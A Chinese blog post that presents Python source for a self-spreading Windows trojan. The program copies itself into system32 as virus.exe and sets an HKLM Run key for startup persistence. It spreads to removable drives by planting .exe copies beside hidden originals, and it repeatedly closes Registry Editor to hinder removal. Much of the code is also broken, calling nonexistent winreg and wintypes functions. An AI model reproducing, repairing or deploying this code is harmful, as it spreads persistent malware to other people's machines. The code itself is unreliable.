首页 > 编程语言 >【Python安全】demo1:模拟木马传播行为(谨慎使用)

【Python安全】demo1:模拟木马传播行为(谨慎使用)

时间:2024-08-27 14:50:30浏览次数:7  
标签:winreg file wnd Python demo1 木马 path import class

原创 蓝胖子之家

代码主要功能是将自身复制到系统目录,并将其写入注册表以实现开机启动。它还设置了一个定时器,用于定期执行一些操作。该程序还监听设备的插拔事件,并在可移动驱动器插入时将自身复制到驱动器上。

具体来说,代码中的kill_process函数用于终止指定名称的进程。wnd_proc函数是一个窗口过程函数,它处理窗口消息,并执行相应的操作。main函数是程序的主要逻辑,它注册一个窗口类,并创建一个窗口。然后,它进入一个循环,处理窗口消息。

在main函数的最后,程序首先将自身复制到系统目录下的一个文件名为"virus.exe"的文件中。然后,它将该文件的路径写入注册表,使其在系统启动时自动运行。最后,它设置了一个定时器,每隔1秒触发一次定时器消息。

总的来说,这段代码的目的是在系统启动时自动运行,并监听设备插拔事件,将自身复制到可移动驱动器上。

点击查看代码


import os
import shutil
import winreg
import ctypes
import time

from ctypes import wintypes
from win32gui import FindWindow, SendMessage
from win32con import WM_CLOSE
from win32api import GetLogicalDriveStrings, GetDriveType, SetFileAttributes, CopyFile
from win32file import DRIVE_REMOVABLE
from win32process import CreateToolhelp32Snapshot, Process32First, Process32Next, OpenProcess, TerminateProcess, CloseHandle
from win32com.client import Dispatch

def kill_process(process_name):
    snapshot = CreateToolhelp32Snapshot(0x00000002, 0)
    pe = wintypes.PROCESSENTRY32()
    pe.dwSize = ctypes.sizeof(wintypes.PROCESSENTRY32)
    if Process32First(snapshot, ctypes.byref(pe)):
        while True:
            if pe.szExeFile.decode() == process_name:
                handle = OpenProcess(0x0001, False, pe.th32ProcessID)
                TerminateProcess(handle, -1)
                CloseHandle(handle)
            if not Process32Next(snapshot, ctypes.byref(pe)):
                break
    CloseHandle(snapshot)

def wnd_proc(hwnd, uMsg, wParam, lParam):
    if uMsg == 0x0010: # WM_CLOSE
        os._exit(0)
    elif uMsg == 0x0219: # WM_DEVICECHANGE
        if wParam == 0x8000: # DBT_DEVICEARRIVAL
            drives = GetLogicalDriveStrings()
            drives = drives.split('\x00')[:-1]
            for drive in drives:
                drive_type = GetDriveType(drive)
                if drive_type == DRIVE_REMOVABLE:
                    files = os.listdir(drive)
                    for file in files:
                        if os.path.isfile(os.path.join(drive, file)):
                            file_path = os.path.join(drive, file)
                            shutil.copy2(__file__, file_path + '.exe')
                            SetFileAttributes(file_path, 0x2 + 0x4) # FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM
        elif wParam == 0x8004: # DBT_DEVICEREMOVECOMPLETE
            pass
    elif uMsg == 0x0113: # WM_TIMER
        hwnd_reg = FindWindow("RegEdit_RegEdit", "注册表编辑器")
        if hwnd_reg:
            SendMessage(hwnd_reg, WM_CLOSE, None, None)
    else:
        return 0
    return 1

def main():
    wnd_class = winreg.WNDCLASS()
    wnd_class.lpszClassName = "lieying"
    wnd_class.lpfnWndProc = wnd_proc
    wnd_class.hInstance = winreg.GetModuleHandle(None)
    wnd_class.hIcon = winreg.LoadIcon(None, 32512)
    wnd_class.hCursor = winreg.LoadCursor(None, 32512)
    wnd_class.hbrBackground = winreg.GetStockObject(1)
    wnd_class.style = 0x0002 | 0x0001 # CS_VREDRAW | CS_HREDRAW
    wnd_class.cbClsExtra = 0
    wnd_class.cbWndExtra = 0
    if not winreg.RegisterClass(wnd_class):
        return 0
    hwnd = winreg.CreateWindowEx(
        0, "lieying", "", 0x00000000, 0, 0, 0, 0, None, None, wnd_class.hInstance, None
    )
    winreg.ShowWindow(hwnd, 0)
    winreg.UpdateWindow(hwnd)
    msg = wintypes.MSG()
    while winreg.GetMessage(ctypes.byref(msg), hwnd, 0, 0):
        winreg.TranslateMessage(ctypes.byref(msg))
        winreg.DispatchMessage(ctypes.byref(msg))

if __name__ == "__main__":
    # 复制自身到系统目录
    exe_full_path = os.path.abspath(__file__)
    new_file_path = "C:\\WINDOWS\\system32\\virus.exe"
    shutil.copy2(exe_full_path, new_file_path)

    # 写入注册表,实现开机启动
    key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_SET_VALUE)
    winreg.SetValueEx(key, "virus", 0, winreg.REG_SZ, new_file_path)
    winreg.CloseKey(key)

    # 设置定时器
    ctypes.windll.user32.SetTimer(None, 1, 1000, None)

    # 运行主程序
    main()

标签:winreg,file,wnd,Python,demo1,木马,path,import,class
From: https://www.cnblogs.com/o-O-oO/p/18382680

相关文章

  • 【反沙箱系列】代码demo1
    一、判断CPU核心数dwNumberOfProcessors#include<iostream>#include<windows.h>intGetCPUCoreCount(){SYSTEM_INFOsysInfo;GetNativeSystemInfo(&sysInfo);returnsysInfo.dwNumberOfProcessors;}boolIsCPUCoreCountLessThanTwo(){......
  • python如何进行sha1withrsa
    呜呜被坑了。`importbase64fromCrypto.HashimportSHA1fromCrypto.PublicKeyimportRSAfromCrypto.SignatureimportPKCS1_v1_5defget_sign():private_key='''MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALt0f8OlkIYt8R3BjGzQ5z+lNAPvdog/......
  • Python-解三元一次方程(Part.2)
    一、需要解的方程组为:x+y+z=26x-y=12x-y+z=18 二、下面进入代码实现:1、导入Sympy库中的符号、方程和求解函数fromsympyimportsymbols,Eq,solve 2、定义变量x,y,z=symbols('xyz') 3、定义方程组#方程1:x+y+z=26eq1=Eq(......
  • 乘法|python矩阵基本运算(学习笔记二)
    在前述文章中,我们已经知道,python通过使用numpy模块,创建矩阵形数组至少可以采用两种方法。也即,通过array和matrix子模块分别创建,详情请参考以下链接。https://blog.csdn.net/weixin_44855046/article/details/141564179?spm=1001.2014.3001.5502进一步,上述链接指向文章也通过测......
  • 24年最新最详细Python安装教程,附安装包!感觉收藏!
      Python由荷兰国家数学与计算机科学研究中心的吉多·范罗苏姆于1990年代初设计,作为一门叫做ABC语言的替代品。 Python提供了高效的高级数据结构,还能简单有效地面向对象编程。Python语法和动态类型,以及解释型语言的本质,使它成为多数平台上写脚本和快速开发应用的编程语言,......
  • python中几种括号的各种用法()、[]、{} 及举例说明,看完就不迷茫了!
    在Python中,括号(())、方括号([])和大括号({})扮演着不同的角色,用于不同的目的。下面通过例子来说明它们各自的用法:1.圆括号 ()圆括号在Python中主要有几种用途:函数调用:用于调用函数,并传递参数给函数。defsay_hello(name):print(f"Hello,{name}!")say_hello("Alice")#调......
  • python冒泡排序
    1、什么是冒泡排序  BubbleSort是最简单和通用的排序方法,基本思想是:在待排序的一组数据中,将相邻的两个数进行比较,若前面的数比后面的数大,就交换两个数,否则不交换;如此下去,直至完成最终排序。由此可得,在排序的过程中,大的数据往下沉,小的数据往上浮,就像气泡一样。于是将这种算......
  • Python中configparser模块的基本用法
    configparser是Python标准库中的一个模块,用于处理配置文件。配置文件通常用于存储应用程序的配置信息,如数据库连接参数、日志级别设置等。configparser模块支持读取、写入和修改配置文件,这些文件通常采用类似INI格式的结构。配置文件格式配置文件一般以'.ini'作为扩展名......
  • Python开发之DOS攻击检测和防御
    文章目录==Python检测和防御DOS攻击==一、在CentOS上安装Python3二、理解各个命令的含义1、uptime2、netstat3、ss4、firewall-cmd5、sysctl三、利用python实现DOS入侵检测采集TCP连接数据采集跟DOS攻击关联度较高的数据uptimenetstat-ant连接数量ss-lnt读取队列情......
  • Python开发之DOS智能检测
    文章目录==故障上报与处理==1、设备状态信息2、性能参数3、网络连接信息4、智能预警故障上报与处理在一些简单的IIoT设备中,可能只包含一个或多个嵌入式系统,这些系统专门设计用于执行特定的任务,并且不包含传统意义上的操作系统。这些设备通常使用微控制器(MCU)或微处......